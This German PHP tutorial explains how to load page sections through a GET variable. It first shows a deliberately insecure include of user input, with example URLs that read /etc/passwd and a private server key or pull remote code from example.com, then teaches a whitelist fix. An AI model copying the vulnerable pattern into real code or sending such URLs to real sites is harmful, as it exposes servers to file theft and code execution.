1. 2-Spalten-Layout
Die einzelne Bereiche einer Internetseite haben meist einen ähnlichen Aufbau zueinander. So gibt es z.B. stehts ein Menu und ein Bereich wo der eigentliche Inhalt/Content geladen wird. Dies wird üblicherweise mit den include-Anweisungen und einer Hauptdatei realisiert. Anhand einer GET-Variable wird gesteuert welcher Teil im Inhaltsbereich geladen werden soll.
Die Hauptdatei, meist mit dem Namen index.php
, dient dazu
die einzelnen ausgelagerten Teile einer HTML-Seite mit include
oder readfile zu laden oder direkt mit echo
HTML-Code auszugeben.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
include 'header.html'; // doctype, <html> und das komplette <head>-element
echo " <body>\n";
include 'menu.html';
// Bereich laden
echo " </body>\n";
echo "</html>\n";
?>
Die header.html
-Datei enthält dabei alles was zum
Kopfbereich eines HTML-Dokuments gehört und die menu.html
-Datei
ein Menu mit den Links zu den einzelnen Bereichen.
2. Bereiche Anhand einer GET-Variable laden
Da eine GET-Variable die verschiedenen Bereiche unterscheiden muss stellt sich die Frage wie der Inhalt der GET-Variable einen spezifischen Bereich läd. Die erste Möglichkeit die einem einfallen würde wäre wenn mit der GET-Variable die Datei angegeben wird die geladen werden soll.
<?php
if (isset($_GET['section'])) {
include $_GET['section'];
} else {
include 'news.php'; // falls keine section angegeben ist lade standardmäßig die news
}
?>
So kann z.B. der Newsbereich mit der URL index.php?section=news.php
oder das Gästebuch mit index.php?section=guestbook.php
geladen werden.
Wenn jedoch dieser Code verwendet werden ist dies das selbe als würde auf
der Homepage die Zugangsdaten zum Server stehen. Ein sogenannter
GET-Include ermöglicht wie man sieht ein PHP-Skript zu laden.
Insbesondere können damit PHP-Skripte geladen werden die gar nicht dazu
gedacht sind geladen zu werden. Über index.php?section=/etc/passwd
könnte man z.B. die passwd
Datei laden. Über
index.php?section=/etc/apache2/ssl/server.key
(entsprechende
Leserechte vorrausgesetzt) kann ein privater Schlüssel ausgegeben werden.
Was jedoch viel schlimmer ist dass über eine externer Seite fremder PHP-Code
geladen werden kann. Funktionen wie include unterstützen
auch das laden von URLs. Somit kann jemand die URL
index.php?section=http://www.example.com/evil_code.txt
aufrufen
und das PHP-Skript läd den Code und führt ihn aus. Und wenn ein Besucher den
Code vorschreiben kann den PHP ausführen soll ist es schon zu spät.
Eine bessere Möglichkeit besteht wenn die Menge der zu ladenen Dateien mehr eingeschränkt ist. Es gibt viele Möglichkeiten dies zu realisieren, wie z.B. das Verzeichnis überprüfen bzw. vorschreiben. Die sicherste Methode ist es alle gültigen Dateinamen in ein Array zu schreiben. Die Indizes geben dabei die Bereiche an die geladen werden sollen. Somit kann man über die GET-Variable bestimmen welche Datei geladen werden soll.
<?php
$section = array();
$section['news'] = 'news.php';
$section['gb'] = 'guestbook.php';
$section['info'] = 'info.php';
?>
Abhängig von der GET-Variable kann dann der entsprechende Dateinamen geladen werden.
<?php
include $section[$_GET['section']];
?>
Hierbei können noch 2 Indexfehler auftreten. Einmal kann der Benutzer eine
URL aufrufen ohne section
-Variable. Des Weiteren kann er ein
Bereich angeben der nicht im Array vorkommen. Für beide Fälle muss eine
entsprechende if-Abfrage eingebaut werden. Dafür eignet
sich die Funktion isset.
<?php
if (isset($_GET['section'], $section[$_GET['section']])) {
include $section[$_GET['section']];
} else {
include $section['news'];
}
?>
Dieser Code kann nun in der index.php
verwendet werden.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$section = array();
$section['news'] = 'news.php';
$section['gb'] = 'guestbook.php';
$section['info'] = 'info.php';
include 'header.html'; // doctype, <html> und das komplette <head>-element
echo " <body>\n";
include 'menu.html';
if (isset($_GET['section'], $section[$_GET['section']])) {
include $section[$_GET['section']];
} else {
include $section['news'];
}
echo " </body>\n";
echo "</html>\n";
?>
Ein neuer Bereich kann dann einfach dem $section
-Array hinzugefügt werden.